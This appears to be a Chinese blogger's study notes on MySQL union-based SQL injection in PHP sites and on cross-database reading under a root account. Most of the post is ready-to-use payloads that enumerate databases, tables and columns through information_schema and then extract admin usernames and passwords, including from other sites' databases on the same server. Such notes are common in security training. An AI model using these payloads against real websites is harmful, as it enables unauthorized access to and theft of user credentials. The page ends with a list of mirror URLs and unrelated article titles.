当前位置: 首页 > news >正文

Day42 PHP(mysql注入、跨库读取)

一、sql注入

基本原理:没有对用户输入的数据进行限制,导致数据库语句可以做什么,用户就可以做什么。取决于不同数据库的不同查询语言,所以为什么有mysql注入/orcale注入等等。

步骤:

【access】

表名(字典爆破来猜)

        列名

                值

【mysql等】

数据库名( database()获得 )

        表名(information_schema.tables表获得)

                列名(information_schema.columns表获得)

                        值(select 列名 from 表名)
思路:

00x1 初步搜集信息及数据库名

        判断字段数,找哪些位置可以回显这些相关信息。

                找到交界处ok的最大值

                                是6

                在对应的回显位进行基本数据收集 user()、version()、database()

id=1没反应就试试id=-1

00x2 拿到数据库名,去找表名

id=-1 union select 1,2,group_concat(TABLE_NAME),4,5,6 from information_schema.tables where TABLE_SCHEMA='demo01'

id=-1 union select 1,2,group_concat(TABLE_NAME),4,5,6 from information_schema.tables where TABLE_SCHEMA='库名'

        记得用group_concat集合查询出所有表名。

00x3 拿到表名,去找表中列名

id=-1 union select 1,2,group_concat(COLUMN_NAME),4,5,6 from information_schema.columns where TABLE_NAME='admin'

id=-1 union select 1,2,group_concat(COLUMN_NAME),4,5,6 from information_schema.columns where TABLE_NAME='表名'

00x4 直接表内查询数据

id=-1 union select 1,2,group_concat(username),4,group_concat(password),6 from admin

id=-1 union select 1,2,group_concat(列1),4,group_concat(列2),6 from 表名

二、跨库读取

前置:root登录  一个root管理多个数据库

           普通用户登录 一个用户只能管理一个数据库

所以如果是root登录,我们可以尝试跨库读取,从A站点得到B站点的登录信息。也就是为什么我们刚刚初步搜集信息的时候要user()。

总结:A站被打到,那么root管理下的其他B站也会被打到

00x1   root下所有数据库名获取

判断字段数为6

id=-1 union select 1,2,group_concat(schema_name),4,5,6 from information_schema.schemata

00x2 找到库,去找表名

id=-1 union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema='xwtj'

id=-1 union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema='库名'

00x3 找到表,去找列名

id=-1 union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name='fz_admin'

id=-1 union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name='表名'

00x4 查询数据

id=-1 union select 1,2,group_concat(username),group_concat(password),5,6 from xwtj.fz_admin

id=-1 union select 1,2,group_concat(username),group_concat(password),5,6 from 数据库名.表名

一定注意 这里是跨库,所以必须库名.表名


文章转载自:

http://eI0FH0b2.kfwqd.cn
http://14vj1hYl.kfwqd.cn
http://r9brtfrZ.kfwqd.cn
http://Wxt3VWN7.kfwqd.cn
http://6OFBb7dV.kfwqd.cn
http://XifdjcnV.kfwqd.cn
http://uHfRfnhZ.kfwqd.cn
http://KMstDIsd.kfwqd.cn
http://OUuAaxIt.kfwqd.cn
http://pJTc2YRl.kfwqd.cn
http://qCuX9yXW.kfwqd.cn
http://ENR0pNu0.kfwqd.cn
http://qzft3RC1.kfwqd.cn
http://UtrJTjod.kfwqd.cn
http://mRRJA7Ex.kfwqd.cn
http://ftDWqNGG.kfwqd.cn
http://ptRYDc1X.kfwqd.cn
http://ulVc54AZ.kfwqd.cn
http://uSDEivpC.kfwqd.cn
http://W8OVzM0v.kfwqd.cn
http://D9JM2k38.kfwqd.cn
http://iumh1eJh.kfwqd.cn
http://yFsPCZXv.kfwqd.cn
http://sNTtPTti.kfwqd.cn
http://ulaIf46J.kfwqd.cn
http://u18Vcztf.kfwqd.cn
http://zPvAKY9x.kfwqd.cn
http://p3zWOEq5.kfwqd.cn
http://Tlw025qW.kfwqd.cn
http://rPwu7Kmu.kfwqd.cn
http://www.dtcms.com/a/374486.html

相关文章:

  • 开源 C++ QT Widget 开发(十四)多媒体--录音机
  • 小白成长之路-jenkins使用pipline部署
  • Elasticsearch面试精讲 Day 15:索引别名与零停机更新
  • vscode中使用git、githup的基操
  • Elasticsearch面试精讲 Day 12:数据建模与字段类型选择
  • 【Visual Studio 2017 和 2019下载】
  • 领码方案·AI狂潮:3天极速塑造高可用电商核心架构——从需求到上线,用智能驱动架构革新,打造可扩展、可维护、可复用的电商系统新范式
  • SpringCloud gateway配置predicates的匹配规则
  • Win系统下配置PCL库第一步之下载Visual Studio和Qt 5.15.2(超详细)
  • 腾讯云负载均衡增加访问策略后访问失败
  • 【Java EE进阶 --- SpringBoot】Spring DI详解
  • 内存中读写文件:设计原理与C/C++实现
  • 光场显微镜及其在三维生物成像中的应用
  • 基于FPGA的实时图像处理系统(3)——实时视频显示
  • 【慢教程】Ollama4:ollama命令汇总
  • 当医疗健康遇见RWA:区块链技术如何重塑医疗资产的未来
  • 【内存管理】6.6内核 - Vmalloc机制 - __purge_vmap_area_lazy
  • 第3周 机器学习课堂记录
  • 机器学习、深度学习与大模型:技术选型的思考与实战指南
  • 深度学习(四):数据集划分
  • Python最新的好用技巧和特性总结
  • 看不见的安全防线:信而泰仪表如何验证零信任有效性
  • PyQt 界面布局与交互组件使用指南
  • 资产 OCR 识别:批量导入效率提升指南
  • 萝卜切丁机 机构笔记
  • Java学习笔记三(封装)
  • 使用云手机能否给企业降本增效
  • Linux笔记---进程间关系与守护进程
  • 详细:虚拟机 + Linux 环境搭建 + Oracle 11.2.0 EE 安装全流程
  • 思利普科技:用BCG心冲击技术重新定义睡眠监测,掀起床垫行业智能化革命